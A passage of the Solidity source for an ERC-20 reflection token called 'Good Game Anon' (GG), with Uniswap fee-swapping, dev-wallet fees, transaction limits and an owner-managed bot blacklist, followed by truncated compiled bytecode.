_tTotal)); uint256 private _tFeeTotal; string private _name = 'Good Game Anon'; string private _symbol = 'GG'; uint8 private _decimals = 9; uint256 public _maxWalletToken = _tTotal; //bool public tradingOpen = false; // Tax and dev fees will start at 0 so we don't have a big impact when deploying to Uniswap // dev wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _devFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 private _previousdevFee = _devFee; address payable public _devWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = false; uint256 private _maxTxAmount = 250000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeFordev = 5 * 10**6 * 10**9; uint256 public _maxTx = _maxTxAmount; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable devWalletAddress) public { _devWalletAddress = devWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){ require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee"); swapEnabled = _devFeeEnabled; return(swapEnabled); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _devFee == 0) return; _previousTaxFee = _taxFee; _previousdevFee = _devFee; _taxFee = 0; _devFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _devFee = _previousdevFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[sender], "You have no power here!"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(sender != owner() && recipient != owner() && recipient != address(DEAD) && recipient != uniswapV2Pair && recipient != _devWalletAddress) require((balanceOf(recipient)+amount) <= _maxWalletToken, "Total Holding exceeds the maxWalletAmount."); //if(sender != owner() && recipient != owner()) // require(tradingOpen,"Trading not open yet"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular dev event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeFordev; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the dev wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHTodev(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and dev fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHTodev(uint256 amount) private { _devWalletAddress.transfer(amount); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHTodev(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takedev(tdev); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takedev(tdev); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takedev(tdev); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takedev(tdev); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takedev(uint256 tdev) private { uint256 currentRate = _getRate(); uint256 rdev = tdev.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rdev); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tdev); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getTValues(tAmount, _taxFee, _devFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tdev); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 devFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tdev = tAmount.mul(devFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tdev); return (tTransferAmount, tFee, tdev); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner() { _maxWalletToken = (_tTotal * maxWallPercent_base1000 ) / 1000; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setdevFee(uint256 devFee) external onlyOwner() { require(devFee >= 1 && devFee <= 10, 'devFee should be in 1 - 10'); _devFee = devFee; } function _setdevWallet(address payable devWalletAddress) external onlyOwner() { _devWalletAddress = devWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 200000000000e9 , 'maxTxAmount should be greater than 200000000000e9'); _maxTxAmount = maxTxAmount; _maxTx = _maxTxAmount; } }
0x60806040526004361061024a5760003560e01c806370a0823111610139578063aae11571116100b6578063e01af92c1161007a578063e01af92c14610d30578063f2cc0c1814610d6d578063f2fde38b14610dbe578063f429389014610e0f578063f815a84214610e26578063f84354f114610e5157610251565b8063aae1157114610b53578063af9549e014610ba6578063b425bac314610c03578063cba0e99614610c44578063dd62ed3e14610cab57610251565b80638da5cb5b116100fd5780638da5cb5b1461094f57806395d89b4114610990578063a0c072d414610a20578063a457c2d714610a71578063a9059cbb14610ae257610251565b806370a082311461082c578063715018a61461089157806378109e54146108a85780637830b072146108d35780637ded4d6a146108fe57610251565b806339509351116101c757806349bd5a5e1161018b57806349bd5a5e1461070557806351bc3c85146107465780635342acb41461075d5780635880b873146107c45780636ddd1713146107ff57610251565b806339509351146105725780633bd5d173146105e35780634303443d1461061e57806344c260c81461066f5780634549b039146106aa57610251565b806318160ddd1161020e57806318160ddd146103fe5780631bbae6e01461042957806323b872dd146104645780632d838119146104f5578063313ce5671461054457610251565b806306fdde031461025657806309302dc6146102e6578063095ea7b31461032157806313114a9d146103925780631694505e146103bd57610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b610ea2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ab578082015181840152602081019050610290565b50505050905090810190601f1680156102d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f257600080fd5b5061031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610f44565b005b34801561032d57600080fd5b5061037a6004803603604081101561034457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561039e57600080fd5b506103a7611043565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103d261104d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040a57600080fd5b50610413611071565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b506104626004803603602081101561044c57600080fd5b810190808035906020019092919050505061107b565b005b34801561047057600080fd5b506104dd6004803603606081101561048757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111b8565b60405180821515815260200191505060405180910390f35b34801561050157600080fd5b5061052e6004803603602081101561051857600080fd5b8101908080359060200190929190505050611291565b6040518082815260200191505060405180910390f35b34801561055057600080fd5b50610559611315565b604051808260ff16815260200191505060405180910390f35b34801561057e57600080fd5b506105cb6004803603604081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061132c565b60405180821515815260200191505060405180910390f35b3480156105ef57600080fd5b5061061c6004803603602081101561060657600080fd5b81019080803590602001909291905050506113df565b005b34801561062a57600080fd5b5061066d6004803603602081101561064157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611570565b005b34801561067b57600080fd5b506106a86004803603602081101561069257600080fd5b810190808035906020019092919050505061184f565b005b3480156106b657600080fd5b506106ef600480360360408110156106cd57600080fd5b81019080803590602001909291908035151590602001909291905050506119a5565b6040518082815260200191505060405180910390f35b34801561071157600080fd5b5061071a611a5c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075257600080fd5b5061075b611a80565b005b34801561076957600080fd5b506107ac6004803603602081101561078057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b60405180821515815260200191505060405180910390f35b3480156107d057600080fd5b506107fd600480360360208110156107e757600080fd5b8101908080359060200190929190505050611bb7565b005b34801561080b57600080fd5b50610814611d0d565b60405180821515815260200191505060405180910390f35b34801561083857600080fd5b5061087b6004803603602081101561084f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b6040518082815260200191505060405180910390f35b34801561089d57600080fd5b506108a6611e0b565b005b3480156108b457600080fd5b506108bd611f91565b6040518082815260200191505060405180910390f35b3480156108df57600080fd5b506108e8611f97565b6040518082815260200191505060405180910390f35b34801561090a57600080fd5b5061094d6004803603602081101561092157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f9d565b005b34801561095b57600080fd5b506109646122e2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561099c57600080fd5b506109a561230b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e55780820151818401526020810190506109ca565b50505050905090810190601f168015610a125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a2c57600080fd5b50610a6f60048036036020811015610a4357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123ad565b005b348015610a7d57600080fd5b50610aca60048036036040811015610a9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506124b9565b60405180821515815260200191505060405180910390f35b348015610aee57600080fd5b50610b3b60048036036040811015610b0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612586565b60405180821515815260200191505060405180910390f35b348015610b5f57600080fd5b50610b8e60048036036020811015610b7657600080fd5b810190808035151590602001909291905050506125a4565b60405180821515815260200191505060405180910390f35b348015610bb257600080fd5b50610c0160048036036040811015610bc957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061267d565b005b348015610c0f57600080fd5b50610c186127a0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5057600080fd5b50610c9360048036036020811015610c6757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127c6565b60405180821515815260200191505060405180910390f35b348015610cb757600080fd5b50610d1a60048036036040811015610cce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061281c565b6040518082815260200191505060405180910390f35b348015610d3c57600080fd5b50610d6b60048036036020811015610d5357600080fd5b810190808035151590602001909291905050506128a3565b005b348015610d7957600080fd5b50610dbc60048036036020811015610d9057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612988565b005b348015610dca57600080fd5b50610e0d60048036036020811015610de157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d3b565b005b348015610e1b57600080fd5b50610e24612f46565b005b348015610e3257600080fd5b50610e3b61301f565b6040518082815260200191505060405180910390f35b348015610e5d57600080fd5b50610ea060048036036020811015610e7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613027565b005b6060600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f3a5780601f10610f0f57610100808354040283529160200191610f3a565b820191906000526020600020905b815481529060010190602001808311610f1d57829003601f168201915b5050505050905090565b610f4c6133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6103e881600b54028161101b57fe5b0460118190555050565b60006110396110326133b1565b84846133b9565b6001905092915050565b6000600d54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600b54905090565b6110836133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b680ad78ebc5ac62000008110156111a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806158f76031913960400191505060405180910390fd5b8060178190555060175460198190555050565b60006111c58484846135b0565b611286846111d16133b1565b6112818560405180606001604052806028815260200161580f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006112376133b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613db69092919063ffffffff16565b6133b9565b600190509392505050565b6000600c548211156112ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615754602a913960400191505060405180910390fd5b60006112f8613e76565b905061130d8184613ea190919063ffffffff16565b915050919050565b6000601060009054906101000a900460ff16905090565b60006113d56113396133b1565b846113d0856004600061134a6133b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b6133b9565b6001905092915050565b60006113e96133b1565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061594a602c913960400191505060405180910390fd5b600061149983613f73565b505050505090506114f281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154a81600c54613fda90919063ffffffff16565b600c8190555061156583600d54613eeb90919063ffffffff16565b600d81905550505050565b6115786133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611638576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061588a6024913960400191505060405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e7420697320616c726561647920626c61636b6c6973746564000081525060200191505060405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6118576133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611917576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156119295750600a8111155b61199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6465764665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b8060138190555050565b6000600b54831115611a1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611a3f576000611a2f84613f73565b5050505050905080915050611a56565b6000611a4a84613f73565b50505050915050809150505b92915050565b7f000000000000000000000000b3331f3990aac6ac5091646163131fc4032347d881565b611a886133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000611b5330611d20565b9050611b5e81614024565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611bbf6133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611c915750600a8111155b611d03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b8060128190555050565b601660159054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dbb57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611e06565b611e03600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611291565b90505b919050565b611e136133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ed3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60195481565b611fa56133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612065576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4163636f756e74206973206e6f7420626c61636b6c697374656400000000000081525060200191505060405180910390fd5b60005b600a805490508110156122de578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061215857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122d157600a6001600a8054905003815481106121b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106121ec57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a80548061229757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556122de565b8080600101915050612127565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123a35780601f10612378576101008083540402835291602001916123a3565b820191906000526020600020905b81548152906001019060200180831161238657829003601f168201915b5050505050905090565b6123b56133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612475576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061257c6124c66133b1565b846125778560405180606001604052806025815260200161597660259139600460006124f06133b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff